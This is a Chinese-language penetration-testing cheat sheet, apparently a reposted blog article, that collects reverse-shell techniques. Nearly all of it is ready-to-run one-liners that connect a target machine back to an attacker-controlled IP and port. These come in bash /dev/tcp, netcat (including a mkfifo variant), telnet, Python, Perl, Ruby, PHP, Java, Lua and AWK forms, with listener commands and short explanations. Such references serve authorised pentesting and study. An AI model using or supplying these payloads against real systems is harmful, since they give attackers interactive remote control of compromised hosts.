web滲透之常見shell反彈姿式

常見反彈shell總結：

原文連接請點擊：https://ruoli-s.github.io/posts/b956.html

1、bash反彈

通用

① 在kali機裏面開啓端口監聽：

nc -lvvp port		//port 爲攻擊主機端口號，而且此端口號沒有被佔用

② 在目標主機上執行：

bash -i >& /dev/tcp/攻擊主機ip/port 0>&1		//port 爲攻擊主機端口號

③ 解釋

bash -i： 打開一個交互的bash

.>&： 標準錯誤輸出重定向到標準輸出

/dev/tcp/x.x.x.x/port ： 意爲調用socket,創建socket鏈接,其中x.x.x.x爲要反彈到的主機ip，port爲端口

0>&1： 標準輸入重定向到標準輸出，實現你與反彈出來的shell的交互

/dev/tcp/ 是Linux中的一個特殊設備,打開這個文件就至關於發出了一個socket調用，創建一個socket鏈接，讀寫這個文件就至關於在這個socket鏈接中傳輸數據。同理，Linux中還存在/dev/udp/。

④ 補充

linux shell下經常使用的文件描述符是：

1. 標準輸入 (stdin) ：代碼爲 0 ，使用 < 或 << ；
2. 標準輸出 (stdout)：代碼爲 1 ，使用 > 或 >> ；
3. 標準錯誤輸出(stderr)：代碼爲 2 ，使用 2> 或 2>>。

其餘版本

exec 5<>/dev/tcp/x.x.x.x/9999
cat <&5 | while read line; do $line 2>&5 >&5; done

• 第一條命令：創建與x.x.x.x:9999的tcp鏈接，並將標準輸入輸出做爲device 5的標準輸入輸出
• 第二條命令：cat <&5 獲取device5的輸入; while read line; do $line 2>&5 >&5 一旦獲取到命令便運行 而後將標準輸入輸出以及標準錯誤輸出到device5中

2、nc(netcat)反彈

1. -e 參數可用

① 在kali機裏面開啓端口監聽：

nc -lvvp port		//port 爲攻擊主機端口號，而且此端口號沒有被佔用
如：nc -lvvp 1234

② 在目標主機上執行：

nc -e /bin/bash 攻擊主機ip port
如：nc -e /bin/bash 192.168.26.138 1234

③ 還可在目標主機上這樣執行（不實用）：

nc x.x.x.x 1234|/bin/bash|nc x.x.x.x 4321				
//在攻擊主機上打開兩個終端，分別監聽 1234 和 4321 端口，獲得反彈shell後，1234 終端 輸入命令， 4321 終端就會得到執行相應命令後的結果

④ 使用python語句進入交互式界面：

python -c 'import pty;pty.spawn("/bin/bash")'

2. -e 參數不可用

在目標主機使用以下命令：

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.26.138 1234 >/tmp/f

解釋：

• rm /tmp/f 刪除命令
• mkfifo /tmp/f; 在tmp目錄下寫fifo文件f
• /bin/sh -i 2>&1 將/bin/sh 的標準錯誤重定向到標準輸出
• nc x.x.x.x 2333 >/tmp/f將nc監聽到的輸入 輸入到fifo

3、telnet反彈

① 在攻擊主機上打開兩個終端分別監聽 1234 和 4321端口,(確保端口開放，而且不被佔用)，獲得反彈shell後，1234 終端 輸入命令， 4321 終端就會得到執行相應命令後的結果：

nc -lvvp 1234
nc -lvvp 4321

② 在目標主機上執行：

telnet 攻擊主機ip 1234 | /bin/bash | telnet 攻擊主機ip 4321

4、腳本反彈

​ 腳本是在目標主機上執行，其中 x.x.x.x 均爲攻擊主機ip，而且須要提早在攻擊主機上進行監聽相關端口.

0x01. python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

0x02. perl

方法一：

perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

方法二：

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

0x03. Ruby

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

0x04. php

php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'

0x05. Java

public class Revs {
    /**
    * @param args
    * @throws Exception 
    */
    public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}

0x06. Lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');"

0x07. AWK 反彈

注意：攻擊的機器監聽，在收到shell的時候不能夠輸入enter，否則會斷開

awk 'BEGIN{s="/inet/tcp/0/x.x.x.x/8080";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

之後遇到了會再補充進去。

參考文獻：

http://www.javashuo.com/article/p-srluatpm-t.html

https://www.bertramc.cn/2017/07/14/38.html